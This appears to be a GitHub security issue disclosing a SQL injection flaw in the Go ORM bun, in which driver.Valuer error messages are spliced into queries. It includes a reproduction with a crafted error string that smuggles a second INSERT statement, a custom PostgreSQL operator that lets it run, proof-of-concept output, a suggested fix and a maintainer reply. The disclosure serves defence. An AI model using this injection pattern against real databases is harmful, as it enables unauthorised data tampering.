Possible SQL Injection via driver.Valuer Error Messages

[flimzy]

Summary

When a driver.Valuer implementation returns an error, bun embeds the error message directly into the SQL query string via dialect.AppendError(). This can lead to SQL injection if the database has certain custom operators defined.

Severity

High - Allows arbitrary SQL execution under specific but achievable conditions.

Affected Code

• dialect/append.go:10 - AppendError() function
• schema/append_value.go:271-274 - appendDriverValue() calls AppendError when Value() returns error

func appendDriverValue(gen QueryGen, b []byte, v reflect.Value) []byte {
    value, err := v.Interface().(driver.Valuer).Value()
    if err != nil {
        return dialect.AppendError(b, err)  // embeds error in SQL
    }
    // ...
}

Reproduction

1. Create a type whose Value() method returns an error with crafted message:

type BadValue struct{}

func (b BadValue) Value() (driver.Value, error) {
    // Error message crafted to close the ?!() wrapper and inject SQL
    return nil, errors.New("1)); INSERT INTO pwned VALUES (999); --")
}

type TestRow struct {
    bun.BaseModel `bun:"table:test"`
    ID            string   `bun:"id,pk"`
    Bad           BadValue `bun:"bad_col"`
}

2. The generated SQL contains the error message:

db := bun.NewDB(sqldb, pgdialect.New())
row := &TestRow{ID: "123", Bad: BadValue{}}
q := db.NewInsert().Model(row)
fmt.Println(q.String())
// Output: INSERT INTO "test" ("id", "bad_col") VALUES ('123', ?!(1)); INSERT INTO pwned VALUES (999); --))

3. Create a prefix operator in PostgreSQL that makes this valid:

CREATE FUNCTION int_prefix_passthrough(int) RETURNS int AS $$ SELECT $1; $$ LANGUAGE SQL;
CREATE OPERATOR ?! (RIGHTARG = int, FUNCTION = int_prefix_passthrough);

4. Execute the query - injection succeeds:

-- Before: pwned table is empty
INSERT INTO test (id, bad_col) VALUES ('123', ?!(1)); INSERT INTO pwned VALUES (999); --))
-- Result: BOTH statements execute. pwned table now contains 999.

Proof of Concept Output

INSERT 0 1
INSERT 0 1
 ?column? | id  
----------+-----
 after:   |   1
 after:   | 999
(2 rows)

Attack Requirements

1. A driver.Valuer that can return an error (common for custom types with validation)
2. An attacker who can influence the error message content
3. A PostgreSQL database with a ?! prefix operator defined (unusual but valid)

While requirement #3 is uncommon, the vulnerability exists because:

• Custom operators are a legitimate PostgreSQL feature
• Extensions could define such operators
• The ?! syntax was chosen arbitrarily and provides no security guarantee

Additional Concerns

Even without the injection:

1. Information Leakage: Error messages (potentially containing sensitive data) are sent to the database server and may be logged
2. Poor Error Handling: Errors from Value() should be returned to the caller, not embedded in output

Suggested Fix

Change AppenderFunc signature to return ([]byte, error) and propagate errors properly:

// Before
type AppenderFunc func(gen QueryGen, b []byte, v reflect.Value) []byte

// After  
type AppenderFunc func(gen QueryGen, b []byte, v reflect.Value) ([]byte, error)

Or at minimum, use a format that cannot be valid SQL in any database:

func AppendError(b []byte, err error) []byte {
    // Use format that's invalid in all SQL dialects
    b = append(b, "\x00BUN_ERROR:"...)  // NULL byte is never valid in SQL
    b = append(b, err.Error()...)
    b = append(b, '\x00')
    return b
}

Environment

• bun version: v1.2.16 (also confirmed in v1.1.17)
• Go version: 1.25.4
• Database: PostgreSQL 16

[Aoang]

Thank you for your valuable suggestion regarding the AppenderFunc signature and error propagation. You've hit on a very important point!

You're absolutely right that changing AppenderFunc to return ([]byte, error) would be the ideal way to handle and propagate errors properly.

Unfortunately, introducing a signature change like this would be a significant breaking change and is not something we can implement within the current v1 major version without impacting existing users and violating semantic versioning principles.

However, I completely agree that proper error handling is crucial. We should definitely plan for this fundamental improvement and prioritize it for the v2 release of the library.

[github-actions]

This issue has been automatically marked as stale because it has not had activity in the last 30 days. If there is no update within the next 7 days, this issue will be closed.